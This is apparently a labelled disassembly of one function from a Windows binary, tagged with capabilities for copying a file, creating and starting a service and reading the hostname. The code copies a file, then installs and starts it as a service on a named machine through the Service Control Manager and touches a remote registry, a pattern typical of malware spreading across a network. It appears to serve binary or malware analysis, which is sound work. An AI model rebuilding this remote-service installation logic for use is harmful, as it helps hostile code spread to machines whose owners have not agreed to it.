Function at 0x40284d
Capabilities:
Copy file
Create service
Get hostname
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2de0
call fcn.00407f60
push ebx
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
push esi
push edi
mov dword [ebp - 4], 0x20
mov byte [ebp - 0x88], bl
je 0x402884
push dword [ebp + 0x10]
lea eax, [ebp - 0x88]
push eax
call fcn.00407750
pop ecx
pop ecx
jmp 0x402899
push 7
push 0xa
lea eax, [ebp - 0x88]
push 5
push eax
call fcn.0040372f
add esp, 0x10
cmp dword [ebp + 0x18], ebx
je 0x4028a3
push dword [ebp + 0x18]
jmp 0x4028a8
push 0x4935e4
lea eax, [ebp - 0x588]
push eax
call fcn.00407750
mov esi, dword [ebp + 8]
pop ecx
pop ecx
lea eax, [ebp - 0x18c]
push esi
push eax
call fcn.00407750
push dword [ebp + 0xc]
lea eax, [ebp - 0x18c]
push eax
call fcn.00407760
add esp, 0x10
cmp dword [ebp + 0x14], ebx
je 0x4028f0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
call fcn.00407750
pop ecx
pop ecx
jmp 0x402912
push 1
push str._as_a
call fcn.00407f3f
push 2
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x290]
push edx
push eax
call fcn.00404261
add esp, 0x10
cmp dword [0x4938f0], ebx
je 0x402938
push 1
push ebx
call fcn.00407f3f
push 2
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x290]
push edx
push eax
call fcn.00404261
add esp, 0x10
lea eax, [ebp - 0x18c]
push eax
call fcn.00407840
cmp byte [ebp + eax - 0x18d], 0x5c
lea eax, [ebp + eax - 0x18d]
pop ecx
jne 0x402958
mov byte [eax], bl
cmp byte [ebp - 0x290], 0x5c
je 0x402974
lea eax, [ebp - 0x18c]
push 0x40f044
push eax
call fcn.00407760
pop ecx
pop ecx
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.00407760
pop ecx
lea eax, [ebp - 0x18c]
pop ecx
push ebx
push eax
lea eax, [ebp - 0x588]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402b0b
call fcn.00407f3f
push 5
cdq
pop ecx
idiv ecx
test edx, edx
je 0x4029d7
call fcn.00407f3f
cdq
mov ecx, 0x2800
idiv ecx
lea eax, [ebp - 0x18c]
add edx, 0x15080
push edx
push eax
call fcn.0040406e
pop ecx
pop ecx
push 0x227a
lea eax, [ebp - 0x2de0]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [ebp - 0x2de0]
mov byte [ebp - 0x1dcc], bl
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.00405705
lea eax, [ebp - 0x18c]
push eax
call fcn.00405522
add esp, 0x18
cmp dword [0x4938f0], ebx
jne 0x402b0b
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 2]
push eax
call fcn.0040c920
pop ecx
test eax, eax
pop ecx
je 0x402b0b
push 2
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
call esi
mov edi, eax
cmp edi, ebx
jne 0x402a61
cmp dword [ebp + 0x1c], ebx
je 0x402b0b
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18c]
push ebx
push eax
push ebx
push 3
push 0x110
lea eax, [ebp - 0x88]
push ebx
push eax
lea eax, [ebp - 0x88]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push 1
push ebx
push dword [ebp + 8]
call esi
mov esi, eax
lea eax, [ebp - 0x88]
push 0x10
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push ebx
push ebx
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp + 0x10]
mov dword [ebp + 0x18], eax
call edi
push esi
call edi
cmp dword [ebp + 0x18], ebx
jne 0x402c33
mov edx, 0x81
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x95a]
mov word [ebp - 0x95c], bx
mov word [ebp - 0xb64], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xb62]
cmp dword [0x493904], ebx
rep stosd dword es:[edi], eax
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x18], ebx
stosw word es:[edi], ax
jne 0x402b12
xor eax, eax
jmp 0x402c36
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x5c
jne 0x402b21
mov dword [ebp + 0x18], 1
mov edi, 0x104
lea eax, [ebp - 0x95c]
push edi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push 1
push ebx
call esi
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xb64]
push edi
push eax
mov eax, dword [ebp + 0x18]
push 0xffffffffffffffff
add eax, ecx
push eax
push 1
push ebx
call esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0xb64]
push 2
push eax
lea eax, [ebp - 0x95c]
push eax
call dword [0x493904]
test eax, eax
jne 0x402c33
push ebx
push ebx
lea eax, [ebp - 0x484]
push edi
push eax
mov eax, dword [ebp + 0x10]
push 0xffffffffffffffff
mov byte [ebp - 0x484], bl
push dword [eax + 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x14]
push eax
push closesocket
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x402c25
lea eax, [ebp - 0x754]
push 3
push eax
call fcn.00403ce3
lea eax, [ebp - 0x484]
push 0x40f044
push eax
call fcn.00407760
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00407760
lea eax, [ebp - 0x68c]
push ebx
push eax
push ebx
lea eax, [ebp - 0x484]
push ebx
push eax
mov byte [ebp - 0x68c], bl
call fcn.004078bb
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0x754]
push eax
push dword [ebp + 0x14]
call fcn.0040464b
add esp, 0x3c
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x49390c]
cmp eax, ebx
je 0x402c33
push dword [ebp + 0x10]
call eax
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret